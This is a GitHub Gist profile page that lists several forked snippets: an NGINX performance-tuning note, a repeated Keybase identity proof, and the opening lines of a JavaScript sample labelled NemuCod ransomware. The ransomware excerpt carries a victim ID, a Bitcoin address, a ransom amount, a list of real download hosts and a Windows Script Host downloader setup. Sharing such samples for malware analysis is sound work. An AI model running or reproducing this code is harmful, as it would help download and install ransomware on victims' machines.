Skip to content

Instantly share code, notes, and snippets.

View HanyuWorm's full-sized avatar
💭
I may be slow to respond.

Tạ Hùng HanyuWorm

💭
I may be slow to respond.
  • Viettel R&D
  • Ha Noi
View GitHub Profile
@HanyuWorm
HanyuWorm / nginx-tuning.md
Created August 10, 2021 15:18 — forked from denji/nginx-tuning.md
NGINX tuning for best performance

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

### Keybase proof
I hereby claim:
* I am hanyuworm on github.
* I am hanyuworm (https://keybase.io/hanyuworm) on keybase.
* I have a public key ASCiRb2s00Inw9iEYqgLI2a9s0c1dLv-NOr6CMcXstOW4go
To claim this, I am signing this object:
### Keybase proof
I hereby claim:
* I am hanyuworm on github.
* I am hanyuworm (https://keybase.io/hanyuworm) on keybase.
* I have a public key ASCiRb2s00Inw9iEYqgLI2a9s0c1dLv-NOr6CMcXstOW4go
To claim this, I am signing this object:
### Keybase proof
I hereby claim:
* I am hanyuworm on github.
* I am hanyuworm (https://keybase.io/hanyuworm) on keybase.
* I have a public key ASCiRb2s00Inw9iEYqgLI2a9s0c1dLv-NOr6CMcXstOW4go
To claim this, I am signing this object:
@HanyuWorm
HanyuWorm / NemuCod_Ransomware.js
Created March 26, 2016 20:44 — forked from karmiphuc/NemuCod_Ransomware.js
NemuCod Ransomware sample. Write-up by Fortinet https://blog.fortinet.com/post/nemucod-adds-ransomware-routine | WARNING: Don't run it on Windows OS if you don't know what you're doing. I will hold no liability.
var id = "Y5pjzaa6RhR1MczjiSEAbyyWBA8HrE87QcsBpRsmsZqTIV6XNLZvp_WH_IEJw6VNcQsvYCYobXPT6dngUaPwkgn1qxOz8iU";
var ad = "1ErUiHS9tMxWdqeJaaD2bEfJ3V4zCqQc76";
var bc = "0.40943";
var ld = 0;
var cq = String.fromCharCode(34);
var cs = String.fromCharCode(92);
var ll = "angelucci.info globalautomotive.it catteau.francois.perso.neuf.fr 46.249.204.170 kandiramyo.kocaeli.edu.tr".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "981027";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");